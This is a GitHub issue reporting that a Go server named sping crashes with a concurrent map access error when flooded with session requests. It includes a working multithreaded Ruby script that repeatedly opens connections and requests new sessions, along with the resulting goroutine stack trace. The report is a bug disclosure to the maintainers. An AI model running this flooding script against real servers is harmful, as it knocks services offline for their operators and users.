Skip to content

Crash with many new sessions #19

Description

@marek22k

Hello,

If an attacker requests a large number of new sessions, the server crashes after quite a lot of memory has been requested.
Attack script:

require 'socket'

vhost = "127.0.0.1"
vport = 6924

class TCPHandshakeError < StandardError; end

threads = []

8.times do
    threads << Thread.new(vhost, vport) do |vhost, vport|
        loop do
            begin
                socket = TCPSocket.new vhost, vport
                banner = socket.readpartial 9001
                if banner.length > 9000
                    socket.close
                    raise TCPHandshakeError, 'Host banner too big'
                end

                if ! banner.start_with? 'sping-0.3-'
                    socket.close
                    raise TCPHandshakeError, 'Host banner not sping'
                end

                socket.write "INVITE\r\n"
                socket.flush

                inviteBuf = socket.readpartial 32
                if inviteBuf.length > 31 || inviteBuf.length.zero?
                    socket.close
                    raise TCPHandshakeError, 'Invite banner wrong size'
                end

                session_id = inviteBuf.chomp.to_i

                puts "We got a new session id #{session_id}."

                socket.close
            rescue TCPHandshakeError => e
                warn "Error: #{e.message}"
            end
        end
    end
end

threads.each &:join

Log (excerpt):

$./sping 
2023/11/07 11:17:00 Listening on[::]:9523
fatal error: concurrent map read and map write

goroutine 224642 [running]:
main.handleTCPconnection({0x949400?, 0xc00011bca0})
	/home/marek/sping/sessionhandle.go:195 +0x356
created by main.listenOnTCP
	/home/marek/sping/sessionhandle.go:154 +0x125

goroutine 1 [sleep]:
time.Sleep(0x3b9a5c5f)
	/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.main()
	/home/marek/sping/main.go:63 +0x29b

goroutine 7 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a598, 0x72)
	/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc0002a0000?, 0x6?, 0x0)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).Accept(0xc0002a0000)
	/usr/lib/go-1.19/src/internal/poll/fd_unix.go:614 +0x234
net.(*netFD).accept(0xc0002a0000)
	/usr/lib/go-1.19/src/net/fd_unix.go:172 +0x35
net.(*TCPListener).accept(0xc0002a4000)
	/usr/lib/go-1.19/src/net/tcpsock_posix.go:142 +0x28
net.(*TCPListener).Accept(0xc0002a4000)
	/usr/lib/go-1.19/src/net/tcpsock.go:288 +0x3d
main.listenOnTCP()
	/home/marek/sping/sessionhandle.go:149 +0x99
created by main.main
	/home/marek/sping/main.go:36 +0x191

goroutine 8 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a688, 0x72)
	/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc00020a000?, 0xc000210000?, 0x0)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).ReadFromInet6(0xc00020a000, {0xc000210000, 0x2710, 0x2710}, 0x7f0d68717fff?)
	/usr/lib/go-1.19/src/internal/poll/fd_unix.go:277 +0x1e5
net.(*netFD).readFromInet6(0xc00020a000, {0xc000210000?, 0x0?, 0x0?}, 0x1?)
	/usr/lib/go-1.19/src/net/fd_posix.go:72 +0x29
net.(*UDPConn).readFrom(0xc000066800?, {0xc000210000?, 0x0?, 0x1010000000003?}, 0xc0002040c0)
	/usr/lib/go-1.19/src/net/udpsock_posix.go:59 +0x85
net.(*UDPConn).readFromUDP(0xc00020e000, {0xc000210000?, 0x44ed52?, 0x2710?}, 0x809480?)
	/usr/lib/go-1.19/src/net/udpsock.go:149 +0x31
net.(*UDPConn).ReadFrom(0x891d58?, {0xc000210000, 0x2710, 0x2710})
	/usr/lib/go-1.19/src/net/udpsock.go:158 +0x50
main.listenAndRoute()
	/home/marek/sping/main.go:230 +0x10a
created by main.main
	/home/marek/sping/main.go:37 +0x19d

goroutine 9 [sleep]:
time.Sleep(0xdf8475800)
	/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.sessionGC()
	/home/marek/sping/main.go:121 +0x45
created by main.main
	/home/marek/sping/main.go:50 +0x1e6

[...]

goroutine 224643 [select]:
main.(*session).waitForHandshake(0xc037400000)
	/home/marek/sping/sessionhandle.go:205 +0xc5
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

goroutine 224627 [runnable]:
main.handleTCPconnection.func2()
	/home/marek/sping/sessionhandle.go:195
runtime.goexit()
	/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

goroutine 224645 [runnable]:
main.handleTCPconnection.func2()
	/home/marek/sping/sessionhandle.go:195
runtime.goexit()
	/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

Full Log:
sping.txt

In my test, the Go server withstood the attack for about 20 seconds.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions